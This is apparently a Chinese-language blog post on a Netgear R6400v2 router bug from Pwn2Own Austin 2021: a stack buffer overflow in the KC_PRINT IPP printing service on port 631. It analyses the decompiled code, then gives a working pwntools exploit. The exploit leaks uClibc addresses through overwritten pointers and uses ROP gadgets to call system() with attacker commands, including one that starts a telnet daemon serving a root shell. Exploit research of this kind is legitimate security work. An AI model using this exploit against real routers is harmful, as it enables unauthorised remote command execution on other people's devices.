前言
前几天 sectoday 推了一个关于 NCC 研究员参加 Pwn2Own Austin 2021 比赛攻破路由器、NAS、打印机的技术细节分享
的推送。
其中有一个篇章是讲 Netgear R6700 Router 的, 恰好我上上篇分享的文章 PSV-2020-0437:Buffer-Overflow-on-Some-Netgear-Routers
所使用的路由器型号以及固件版本也在该漏洞影响范围之内。因此打算分析这个漏洞,并自己写一下这个漏洞的 exploit 。
注:
分析以及利用的路由器型号为: R6400v2 , 固件版本为:V1.0.4.102_10.0.75
漏洞分析 通过 slide 可以得知, nccgroup 所发现的漏洞在 KC_PRINT
这个程序里,所攻击端口为 631
端口。 根据我浅薄的知识,第一反映这是一个和 IPP (Internet Printing Protocol,缩写IPP, 是一个用于通过互联网打印文件的标准网络协议) 有关的程序。 在后面的进一步分析的过程中,确实验证了我的猜想。
KC_PRINT
使用不同的线程来处理不同的功能,
而该漏洞是发生在 ipp_server
线程里面的。 其大致入口代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 if ( setsockopt(fd, 1 , 2 , &optval, 4u ) < 0 ) { perror("ipp_server: setsockopt SO_REUSEADDR failed" ); close(fd); pthread_attr_destroy(&attr); pthread_exit(0 ); } s.sa_family = 2 ; *(_DWORD *)&s.sa_data[2 ] = htonl(0 ); *(_WORD *)s.sa_data = htons(631u ); if ( bind(fd, &s, 0x10 u) < 0 ) ... listen(fd, 128 ); while ( flag ) { newfd = accept(fd, &addr, &addr_len); if ( newfd >= 0 ) { sub_A0FC(1 ); v1[0 ] = 60 ; v1[1 ] = 0 ; if ( setsockopt(newfd, 1 , 20 , v1, 8u ) < 0 ) perror("ipp_server: setsockopt SO_RCVTIMEO failed" ); Fd = malloc (8u ); if ( Fd ) { memset (Fd, 0 , 8u ); *Fd = newfd; pthread_mutex_lock(&stru_18B40); v6 = sub_16068(); if ( v6 < 0 ) { ... } else if ( pthread_create(&dword_18740[v6], &attr, do_ipp_http_thread, Fd) ) ...
然后会进入到 do_ipp_http_thread
函数里, 该函数会进一步调用一个 do_http
的函数。 该函数用来处理对应的 IPP 协议的 HTTP 请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 memset (buf, 0 , sizeof (buf));n = recv_n(fd, buf, 1024 ); if ( n <= 0 ) return -1 ; if ( strstr (buf, "100-continue" ) ){ ... } HTTP_INPUT = strstr (buf, "POST /USB" ); if ( !HTTP_INPUT ) return -1 ; HTTP_INPUT += 9 ; v18 = strstr (HTTP_INPUT, "_LQ" ); if ( !v18 ) return -1 ; v13 = *v18; *v18 = 0 ; usblp_index = atoi(HTTP_INPUT); *v18 = v13; if ( usblp_index > 10 ) return -1 ; if ( !is_printer_connected(usblp_index) ) return -1 ; v22[1 ] = usblp_index; HTTP_INPUT = strstr (buf, "Content-Length: " ); if ( !HTTP_INPUT ){ ... } HTTP_INPUT += 16 ; v18 = strstr (HTTP_INPUT, "\r\n" ); if ( !v18 ) return -1 ; v13 = *v18; *v18 = 0 ; content_len = atoi(HTTP_INPUT); *v18 = v13; memset (recv_buf, 0 , sizeof (recv_buf));n = recv(fd, recv_buf, 8u , 0 ); if ( n != 8 ) return -1 ; if ( (recv_buf[2 ] || recv_buf[3 ] != 2 ) && (recv_buf[2 ] || recv_buf[3 ] != 6 ) ){ v14 = do_airippWithContentLength(v22, content_len, recv_buf); if ( v14 < 0 ) return -1 ; return 0 ; }
首先 n = recv_n(fd, buf, 1024);
接收 1024 的消息,这一部分消息以 \r\n
作为结束标识, 然后会取出 Content-Length:
的值作为 content_len
传入 do_airippWithContentLength
函数中。
在调用 do_airippWithContentLength
函数之前, 还会读取一个 8 字节长度的消息
1 2 memset (recv_buf, 0 , sizeof (recv_buf));n = recv(fd, recv_buf, 8u , 0 );
该 8 字节长度的消息有一定的格式, 当满足 (recv_buf[2] || recv_buf[3] != 2) && (recv_buf[2] || recv_buf[3] != 6)
条件的时候才会调用 do_airippWithContentLength
函数。
且进入到 do_airippWithContentLength
函数后, 会根据这个 8 个字节长度的消息, 来决定进一步调用哪个函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 int __fastcall do_airippWithContentLength (int *a1, size_t content_len, const void *buf) { _BYTE *recv_buf; int v8; int Jobs; v8 = *a1; recv_buf = malloc (content_len); if ( !recv_buf ) return -1 ; memcpy (recv_buf, buf, 8u ); if ( toRead(v8, (recv_buf + 8 ), content_len - 8 ) >= 0 ) { if ( recv_buf[2 ] || recv_buf[3 ] != 11 ) { if ( recv_buf[2 ] || recv_buf[3 ] != 4 ) { if ( recv_buf[2 ] || recv_buf[3 ] != 8 ) { if ( recv_buf[2 ] || recv_buf[3 ] != 9 ) { if ( recv_buf[2 ] || recv_buf[3 ] != 10 ) { if ( recv_buf[2 ] || recv_buf[3 ] != 5 ) Jobs = sub_D0C8(a1, recv_buf); else Jobs = Response_Create_Job(a1, recv_buf, content_len); } else { Jobs = Response_Get_Jobs(a1, recv_buf, content_len); } } else { Jobs = Response_Get_Job_Attributes(a1, recv_buf, content_len); } } else { printf ("Client %d: Cancel-Job\n" , v8); Jobs = sub_10EA0(a1, recv_buf); } }
例如此处, 如果我们想调用 Response_Get_Jobs
函数, 我们就得进一步满足 recv_buf[2] || recv_buf[3] == 10
的条件, 才能进到 Response_Get_Jobs
函数里。因此我们可以构造如下的消息:
b'\x00\x00\x00\x0a\x00\x00\x99\x99'
让其满足下标为 3 的时候 为 10
即可。
另外, 在 do_http
函数中有一个 if ( !is_printer_connected(usblp_index) ) // 检查是否有打印机设备挂载
的判断,该函数会读取 /proc/printer_status
的内容来判断是否有打印机挂载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 if ( printer_status ){ fd = open("/proc/printer_status" , 0 ); if ( fd > 0 ) { memset (printer_status, 0 , 0x400 u); v7 = read(fd, printer_status, 0x400 u); close(fd); if ( v7 > 0 ) { *(printer_status + v7) = 0 ; memset (s, 0 , sizeof (s)); snprintf (s, 0x10 u, "usblp%d" , usblp_index - 1 ); v7 = strstr (printer_status, s) != 0 ; free (printer_status); printer_status = 0 ; return v7; } else { ... } }
这里我没有挂载打印机,因此我通过 gdb 来绕过这个判断。
此时已经进到 do_airippWithContentLength
函数, 该函数会进一步根据 content-len - 8
读取后续的更多消息内容。而这个 content-len
是没有进行长度检查的,这里以 Response_Get_Jobs
函数为例, 来做进一步的分析。
在 Response_Get_Jobs
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 flag1 = 0 ; prefix_size = 0x4A ; prefix_ptr = malloc (0x4A u); if ( !prefix_ptr ) { perror("Response_Get_Jobs: malloc xx" ); return -1 ; } memset (prefix_ptr, 0 , prefix_size); cnt = memcpy_n(prefix_ptr, total, &recv_buf[offset], 2u ); total += cnt; if ( *recv_buf == 1 && !recv_buf[1 ] ) flag1 = 1 ; offset += 2 ; *(prefix_ptr + total++) = 0 ; *(prefix_ptr + total++) = 0 ; offset += 2 ; total += memcpy_n(prefix_ptr, total, &recv_buf[offset], 4u ); offset += 4 ; v12 = 66 ; cnt = memcpy_n(prefix_ptr, total, &unk_1823C, 0x42 u); total += cnt; ++offset; memset (v9, 0 , sizeof (v9)); memset (buf_2048, 0 , sizeof (buf_2048)); buf_2048[subffix_offset++] = 5 ; if ( !flag1 ) { while ( recv_buf[offset] != 3 && offset <= content_len ) { if ( recv_buf[offset] == 0x44 && !flag2 ) { flag2 = 1 ; buf_2048[subffix_offset++] = 68 ; copy_len = (recv_buf[offset + 1 ] << 8 ) + recv_buf[offset + 2 ]; cnt = memcpy_n(buf_2048, subffix_offset, &recv_buf[offset + 1 ], copy_len + 2 ); subffix_offset += cnt; } ++offset; copy_len = (recv_buf[offset] << 8 ) + recv_buf[offset + 1 ]; offset += 2 + copy_len; copy_len = (recv_buf[offset] << 8 ) + recv_buf[offset + 1 ]; offset += 2 ; if ( flag2 ) { memset (command, 0 , sizeof (command)); memcpy (command, &recv_buf[offset], copy_len); if ( !strcmp (command, "job-media-sheets-completed" ) )
存在一个缓冲区溢出:
1 2 3 4 if ( flag2 ){ memset (command, 0 , sizeof (command)); memcpy (command, &recv_buf[offset], copy_len);
此处的 copy_len
是完全可控的, 且 buf_2048
在栈上, 我们只需让 flag1
不等于1 , flag2
等于 1 ,就能进入到这个分支, 即满足 *recv_buf == 1 && !recv_buf[1]
且 recv_buf[offset] == 0x44
条件即可。
利用编写 该程序保护都没有开启
1 2 3 4 5 6 7 8 9 pwndbg> checksec [*] '/workhub/Dropbox/Attachments/IoT and BaseBand/Router/Netgear/R6400v2/fs/squashfs-root/usr/bin/KC_PRINT' Arch: arm-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8000) pwndbg>
既没有 canary
也没有 PIE
, 这极大的方便了我们的漏洞利用。
系统随机化开启情况:
ASLR
等级为 1, 即栈和共享库是完全随机的, 但是堆的分配不随机。
我们的目的是通过这个栈溢出漏洞, 来达到任意命令执行的目的。我们检索这个程序,发现程序里并没有现成的 system
或者 popen
函数,因此 ret2system
的方法并不能直接使用, 因此我们需要绕过随机化,需要泄漏 uclibc
中的 system
地址, 因此首先需要一个信息泄漏的方法,来 leak uclibc
的加载基址。
Bypass ASLR 其实一般这种思路, 我们可以通过 ROP , 调用 write
等函数读取 got
表中的值来做 uclibc
的地址。 但是这个方法我们可能需要知道我们当前链接的 fd
。如果不知道 fd
, 我们可能需要爆破这个, 但由于这个程序是多线程而不是父子进程的形式, 如果失败可能会造成 crash。
进一步分析函数, 以及阅读 slide ,我们发现程序中有一个可以做任意地址读写的方法。
我们可以通过栈溢出, 来覆盖 prefix_ptr
和 prefix_size
通过控制这两个变量,我们就可以通 write_ipp_response
将我们想读取的内容发送回来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 char command[64 ]; char buf_2048[2048 ]; char v9[2048 ]; int v10; size_t copy_len; int v12; size_t cnt; size_t prefix_size; int total; void *prefix_ptr; int v17; int client_sock; int v19; int v20; char flag1; char v22; char job_state_resons; char job_state; char job_originating_user_name; char job_name; char job_id; char v28; char flag2; size_t final_size; int offset; size_t response_len; void *final_ptr; size_t subffix_offset;
最首先的想法肯定是通过覆盖 prefix_ptr
指向 .got
来做读写, 但是如果我们直接的指向了函数的 .got
, 例如 strcpy_ptr
1 .got:000180F 0 strcpy_ptr DCD __imp_strcpy ; DATA XREF: strcpy +8
但是在调用 write_ipp_response
后, 程序会 free(prefix_ptr);
1 2 3 4 5 6 v10 = write_ipp_response(client_sock, final_ptr, response_len); if ( prefix_ptr ){ free (prefix_ptr); prefix_ptr = 0 ; }
如果是直接控制 prefix_ptr == 000180F0
, 在 free
的过程中会造成崩溃。 最后我们发现当把 prefix_ptr
指向 .got
的开头
1 2 3 4 .got:000180E4 ; sub_8C0C+8 ↑o ... .got:000180E8 DCD 0 .got:000180 EC off_180EC DCD 0 ; DATA XREF: sub_8C0C+C↑r .got:000180F 0 strcpy_ptr DCD __imp_strcpy ; DATA XREF: strcpy +8 ↑r
即将 prefix_ptr
指向 000180E4
是不会崩溃的。
这里和 小伙伴 @aobo @leomxxj 讨论来下 , 猜测应该是如果是 free(0x000180EC) , 当 uclibc 会对 libc 的地址写, 造成 crash 如果 free(0x00180E4)
pwndbg> telescope 0x000180E4 00:0000│ 0x180e4 —▸ 0x1800c ◂— 0x1 01:0004│ 0x180e8 —▸ 0x40024030 ◂— 0x0 pwndbg> vmmap 0x1800c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x18000 0x19000 rw-p 1000 10000 /usr/bin/KC_PRINT +0xc 0x1800c 地址是可读写的
另外在编写这部分 exploit 的时候, 我们发现处理 recv_buf
消息的时候
1 2 3 4 5 6 if ( !flag1 ) { while ( recv_buf[offset] != 3 && offset <= content_len ) { if ( recv_buf[offset] == 0x44 && !flag2 ) {
这部分是一个 while
循环,只有当消息为 \x03
的时候, 才会结束循环, 因此我们需要 offset
设置好,
1 2 3 4 5 offset += copy_len; .text:00010 A30 LDR R2, [R11,#offset] .text:00010 A34 LDR R3, [R11,#copy_len] .text:00010 A38 ADD R3, R2, R3 .text:00010 A3C STR R3, [R11,#-0x14 ]
结束循环到 write_ipp_response
函数之前 ,我们还需要过两个地方, 第一个处, 为了方便我们在 command
前设置一个 job-id
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 offset += 2 ; if ( flag2 ) { memset (command, 0 , sizeof (command)); memcpy (command, &recv_buf[offset], copy_len); if ( !strcmp (command, "job-media-sheets-completed" ) ) { v22 = 1 ; } else if ( !strcmp (command, "job-state-reasons" ) ) { job_state_resons = 1 ; } else if ( !strcmp (command, "job-name" ) ) { job_name = 1 ; } else if ( !strcmp (command, "job-originating-user-name" ) ) { job_originating_user_name = 1 ; } else if ( !strcmp (command, "job-state" ) ) { job_state = 1 ; } else if ( !strcmp (command, "job-id" ) ) { job_id = 1 ; } else { if ( v28 ) { buf_2048[subffix_offset++] = 68 ; buf_2048[subffix_offset++] = 0 ; buf_2048[subffix_offset++] = 0 ; } cnt = memcpy_n(buf_2048, subffix_offset, &recv_buf[offset - 2 ], copy_len + 2 ); subffix_offset += cnt; v28 = 1 ; } } offset += copy_len; } } final_size += prefix_size; if ( flag1 ) v20 = sub_11D68(v17, 1 , 1 , 1 , 1 , 1 , 1 , v9); else v20 = sub_11D68(v17, job_id, job_name, job_originating_user_name, job_state, job_state_resons, v22, v9); if ( v20 > 0 )
第二处 final_ptr = malloc(++final_size);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 LABEL_54: *(final_ptr + response_len++) = 3 ; v10 = write_ipp_response(client_sock, final_ptr, response_len); if ( prefix_ptr ) { free (prefix_ptr); prefix_ptr = 0 ; } if ( final_ptr ) { free (final_ptr); final_ptr = 0 ; } if ( v10 ) return -1 ; else return 0 ; } final_ptr = malloc (++final_size); if ( final_ptr ) { memset (final_ptr, 0 , final_size); cnt = memcpy_n(final_ptr, response_len, prefix_ptr, prefix_size); response_len += cnt; goto LABEL_54; }
我们得让 final_size
的值不能太大,不然分配不出来程序就不会走到 write_ipp_response
里,
1 2 3 4 5 6 7 .text:00010D78 loc_10D78 ; CODE XREF: Response_Get_Jobs+868↑j .text:00010D78 LDR R3, [R11,#-0x18] .text:00010D7C ADD R3, R3, #1 .text:00010D80 STR R3, [R11,#-0x18] .text:00010D84 LDR R3, [R11,#-0x18] .text:00010D88 MOV R0, R3 ; size .text:00010D8C BL malloc
即需要设置 [R11, #-0x18]
的值, 这是在栈上的。 最后我 leak 的代码大致如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 def leak_uclibc (): recv_buf1 = b'\x00\x00\x00\x0a\x00\x00\x99\x99' recv_buf2 = b'\x00\x44\x00\x00\x10\x5d' recv_buf2 += b'job-id\x00\x00' junkdata = cyclic(0x104c , n=4 ) junkdata = bytearray (junkdata) junkdata[1026 : 1026 + len (cmd)] = cmd junkdata[0x103c : 0x103c + 4 ] = p32(0x106a -0xe ) junkdata[0x1048 : 0x1048 + 4 ] = p32(0x20 ) junkdata = bytes (junkdata) recv_buf2 += junkdata recv_buf2 += p32(20 ) recv_buf2 += p32(0x180E4 ) recv_buf2 += b'\x03' payload = b'POST /USB1_LQ\r\n' payload += b'Content-Length: %b\r\n' % str (len (recv_buf1 + recv_buf2)).encode('latin1' ) payload += b'\r\n' p = remote("192.168.1.1" , 631 ) p.send(payload) p.send(recv_buf1) p.send(recv_buf2) p.recvuntil(b'\r\n\r\n' ) p.recvn(8 ) _dl_linux_resolve = u32(p.recvn(4 )) print ('_dl_linux_resolve : {:#x}' .format (_dl_linux_resolve)) ld_uClibc = _dl_linux_resolve - 0x3e70 print ('ld_uClibc : {:#x}' .format (ld_uClibc)) p.recvn(4 ) printf_addr = u32(p.recvn(4 )) print ('printf : {:#x}' .format (printf_addr)) uClibc = printf_addr - 0x360e0 print ('uClibc : {:#x}' .format (uClibc)) return ld_uClibc, uClibc
Leak:
1 2 3 4 5 6 $ python3 exp_ncc_netgear_ipp.py [+] Opening connection to 192.168.1.1 on port 631: Done _dl_linux_resolve : 0x40021e70 ld_uClibc : 0x4001e000 printf : 0x401700e0uClibc : 0x4013a000
Arbitrary command execution 通过泄漏 uclibc 的地址, 然后可以计算 system
的地址。 然后我们就可以进一步做劫持返回地址工作。首先我们需要有个一个地址来存储我们 system
将执行的字符串。 回顾上文, 我们提及到了系统的随机化等级为 1
。
系统随机化开启情况:
因此我们可以在堆上查找是否有可控的内容, 通过 hexdump
查找。
我们发现我们的 payload 会存储在 堆上, 因此 , 我们可以将要执行的命令, 在第一次链接的时候 , 就将命令写入。
1 2 3 4 5 6 7 cmd = b'/bin/utelnetd -p 3343 -l /bin/ash \x00' cmd = b'/bin/touch /tmp/hacked' cmd += b"\x00" * (len (cmd) % 4 ) def leak_uclibc (): ... junkdata[1026 : 1026 + len (cmd)] = cmd
在覆盖返回地址之前 , 除了在 leak 需要注意的那几个变量以外 ,我们还需要单独注意
等变量的值, 要单独重新赋值。
最后我们需要将 R0
的值指向堆上的 0x1b880
地址。 所以我们需要单独几个 gadget
, 这里我使用的是两个 gadget
。
首先通过第一个 gadget
控制 R3
为 0x1b880
1 0x00001504 : pop {r3, r4, fp, pc}
然后通过 第二个 gadget
将 R3
的值赋值给 R0
并且控制 PC 跳转到 system
函数上,从而完成任意命令执行。
1 0x00000a80 : mov r0, r3 ; pop {fp, pc}
最后就可以完成任意命令执行了。
参考链接 NCC Con Europe 2022 – Pwn2Own Austin Presentations